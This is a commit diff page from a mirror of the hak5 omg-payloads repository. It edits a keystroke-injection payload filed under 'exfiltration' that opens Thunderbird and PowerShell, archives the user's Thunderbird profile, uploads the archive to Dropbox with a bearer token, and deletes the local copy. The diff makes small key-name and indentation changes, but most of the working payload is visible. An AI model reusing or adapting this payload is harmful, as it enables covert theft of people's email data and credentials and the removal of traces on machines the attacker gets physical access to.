hak5
/
omg-payloads
mirror of https://github.com/hak5/omg-payloads.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update payload.txt

pull/229/head
Aleff 2024-06-04 07:57:47 +02:00
parent 9c47934a36
commit 919b4e4a08
1 changed files with 13 additions and 13 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

26
payloads/library/exfiltration/Save_Your_Thunderbird_Settings/payload.txt
View File

@ -15,7 +15,7 @@ DEFINE #DROPBOX_FOLDER_PATH /
DEFINE #DROPBOX_API_CONST https://content.dropboxapi.com/2/files/upload
DELAY 1500
WIN r
GUI r
STRING thunderbird
ENTER
DELAY 1000
@ -47,7 +47,7 @@ CTRL c
DELAY 500
ALT F4
DELAY 500
WIN R
GUI r
STRING powershell
ENTER
DELAY 1500
@ -64,15 +64,15 @@ STRINGLN -DestinationPath ./#ARCHIVE_NAME
DELAY 1000
STRINGLN_BLOCK
$filePath = "$env:TEMP/#ARCHIVE_NAME"
$filePath = $filePath -replace "\\", "/"
$dropboxPath = "#DROPBOX_FOLDER_PATH#ARCHIVE_NAME"
$accessToken = "#ACCESS_TOKEN"
$fileContent = [System.IO.File]::ReadAllBytes($filePath)
$headers = @{
"Authorization" = "Bearer $accessToken"
"Dropbox-API-Arg" = ("{`"path`": `"" + $dropboxPath + "`", `"mode`": `"add`", `"autorename`": true, `"mute`": false}")
"Content-Type" = "application/octet-stream"
}
Invoke-RestMethod -Uri "https://content.dropboxapi.com/2/files/upload" -Method Post -Headers $headers -Body $fileContent; rm $filePath; exit
$filePath = "$env:TEMP/#ARCHIVE_NAME"
$filePath = $filePath -replace "\\", "/"
$dropboxPath = "#DROPBOX_FOLDER_PATH#ARCHIVE_NAME"
$accessToken = "#ACCESS_TOKEN"
$fileContent = [System.IO.File]::ReadAllBytes($filePath)
$headers = @{
"Authorization" = "Bearer $accessToken"
"Dropbox-API-Arg" = ("{`"path`": `"" + $dropboxPath + "`", `"mode`": `"add`", `"autorename`": true, `"mute`": false}")
"Content-Type" = "application/octet-stream"
}
Invoke-RestMethod -Uri "https://content.dropboxapi.com/2/files/upload" -Method Post -Headers $headers -Body $fileContent; rm $filePath; exit
END_STRINGLN